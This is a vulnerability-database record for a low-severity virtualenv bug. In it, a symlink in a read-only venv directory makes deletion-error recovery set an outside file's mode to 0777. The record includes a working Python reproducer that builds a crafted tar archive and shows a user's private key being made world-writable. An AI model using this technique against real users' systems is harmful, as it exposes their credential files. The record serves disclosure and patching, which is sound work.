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Response snapshot Oct 27, 2026, 02:11 UTC

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VulnerabilityCVE-2026-113724

virtualenv: Deletion recovery can change a symlink target's mode

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

Published Updated

At a glance

Exploited
Not known
Severity
4.5 Medium (CVSS 3.1)
Chance of exploitation
0.1% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: virtualenv: 21.14.9. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-43mp-35q3-x3fq (opens a new tab)

What happened

## Summary

The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.

## Affected area

Continue reading

Permission recovery after a filesystem deletion error.

## Attacker-controlled input

A deletion must fail on a symbolic-link entry and enter the permission-recovery branch. The invoking user must have permission to change the target mode. This is conditional error handling, not the normal successful unlink path.

## Affected code

The relevant 21.14.8 source is in [safe_delete()](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/util/path/_sync.py).

## Mechanism

`safe_delete()` asks `shutil.rmtree()` to retry a failed removal after adding owner-write permission. Its error handler calls `os.lstat(path)` for mode bits but `os.chmod(path, ...)` to apply them. For a symlink, `lstat` reads the link's mode while `chmod` follows the link. A link inside a read-only directory can therefore cause the target's mode to become `0777` before the retry fails.

The target must be owned by the invoking user and initially not writable by that user; root does not reach this failure path.

## Reproduction and evidence

The scanner packed a project containing a mode-`0555` `venv/bin/python/` directory and a symlink inside it pointing to the user's mode-`0400` `keys/deploy.pem`. An unprivileged user unpacked it and ran both plain `virtualenv venv` and `virtualenv --clear venv`. Both commands exited with `PermissionError` naming the directory inside `venv`, while the key's mode changed from `0400` to `0777`.

A control archive with a writable directory completed normally and left the key at `0400`. The read-only mode survives `tar` or `cp -a`; a normal git clone does not preserve this setup.

This changes permissions; it does not read the target or complete the virtualenv operation. Another account can use the widened mode only if it can traverse the target's parent directories. The scanner dates the active error handler to #3222, first released in 21.7.5. [PR #3427](https://github.com/pypa/virtualenv/pull/3427) avoids POSIX mode changes on deletion failure and handles Windows read-only entries without following reparse points.

## Attack sequence

```mermaid sequenceDiagram participant A as Prepared read-only venv tree participant V as safe_delete error handler participant L as Symlink in venv participant K as User's 0400 key A->>V: virtualenv venv or --clear venv V->>L: unlink fails in 0555 directory V->>L: lstat returns link mode 0777 V->>L: chmod follows symlink L->>K: target mode becomes 0777 V-->>A: retry fails with PermissionError Note over K: Other accounts can use new mode if parent paths are traversable ```

## Reproducer files

The following files are from the scanner report for `ANT-2026-UK90QC27`. They were tested against commit `a857a7823c73` in the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs need a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

**`repro`**

```text #!/usr/bin/env python3 import os import stat import subprocess import sys import tempfile from pathlib import Path

NOBODY = 65534

work = Path(tempfile.mkdtemp(prefix="repro-safe-delete-")) os.chmod(work, 0o755) os.chown(work, NOBODY, NOBODY)

# the attacker's project archive (venv/bin/python read-only), and the same archive with that folder writable make_archive = [sys.executable, "/tmp/repro.d/make_project_archive.py"] subprocess.run([*make_archive, work / "read-only.tar", "555"], check=True) subprocess.run([*make_archive, work / "writable.tar", "755"], check=True) subprocess.run(["tar", "-tvf", work / "read-only.tar"], check=True)

# from here on an ordinary user: root's unlink never fails, so safe_delete's error handler would never run os.setgroups([]) os.setgid(NOBODY) os.setuid(NOBODY) os.umask(0o022)

def unpack_next_to_key_and_run_virtualenv(label, home_name, archive_name, *options): home = work / home_name archive = work / archive_name key = home / "keys" / "deploy.pem" key.parent.mkdir(parents=True) key.write_text("PRIVATE KEY\n") key.chmod(0o400) subprocess.run(["tar", "-xf", archive], cwd=home, check=True)

mode_before = stat.S_IMODE(key.stat().st_mode) command = ["virtualenv", "--no-periodic-update", "-q", *options, "venv"] # HOME is where virtualenv keeps its app-data; nobody's own, /nonexistent, cannot hold it result = subprocess.run( command, cwd=home / "proj", env={**os.environ, "HOME": str(home)}, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, ) mode_after = stat.S_IMODE(key.stat().st_mode)

print(f"{label} {archive_name}, `{' '.join(command)}`: exit {result.returncode} {result.stdout.strip()}") print(f"{label} {key} mode {mode_before:#o} -> {mode_after:#o}") return mode_before, mode_after

control = unpack_next_to_key_and_run_virtualenv("CONTROL ", "home-control", "writable.tar") default = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-default", "read-only.tar") clear = unpack_next_to_key_and_run_virtualenv("OBSERVED", "home-clear", "read-only.tar", "--clear")

# check: the key lives outside the destination; virtualenv has no business changing its mode print("BUG" if control == (0o400, 0o400) and default == (0o400, 0o777) and clear == (0o400, 0o777) else "OK") ```

**`repro.d/make_project_archive.py`**

```text #!/usr/bin/env python3 import sys import tarfile

archive_path = sys.argv[1] python_folder_mode = int(sys.argv[2], 8)

with tarfile.open(archive_path, "w") as archive: python_folder = tarfile.TarInfo("proj/venv/bin/python") python_folder.type = tarfile.DIR

Affected package ranges reported by GitHub: virtualenv: < 21.14.9

Scores and how they were measured

CVSS base severity

4.5

Version 3.1As of

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

0.1%

Scored Percentile 3.6%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-43mp-35q3-x3fq (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  4. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  5. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  6. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  7. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  8. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  9. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  10. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  11. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-43mp-35q3-x3fq, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  12. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-113724, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 21). virtualenv: Deletion recovery can change a symlink target's mode (CVE-2026-113724). https://kevwire.com/record/CVE-2026-113724

MLA

"virtualenv: Deletion recovery can change a symlink target's mode (CVE-2026-113724)." KEVWire, 21 Oct. 2026, kevwire.com/record/CVE-2026-113724.

Chicago

KEVWire. "virtualenv: Deletion recovery can change a symlink target's mode (CVE-2026-113724)." Last modified October 21, 2026. https://kevwire.com/record/CVE-2026-113724.

Evidence summary (plain text)

virtualenv: Deletion recovery can change a symlink target's mode (Oct 21, 2026).
The deletion error handler obtains permission bits with lstat() but applies them through chmod(), which follows
symlinks. On an eligible unlink failure this can change permissions outside the destination.

Anthropic's OSS Scanner reported this as `ANT-2026-UK90QC27` in `virtualenv-20261015-005`, received on 15 October 2026.
CVSS 4.5 (version 3.1; evidence as of Oct 21, 2026; https://github.com/advisories/GHSA-43mp-35q3-x3fq).
EPSS 0.1% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113724&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-43mp-35q3-x3fq: https://github.com/advisories/GHSA-43mp-35q3-x3fq
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNTo1Mjo1NlrOAAfxiA%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113724&date=2026-10-26
Record ID: CVE-2026-113724.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 27, 2026, 01:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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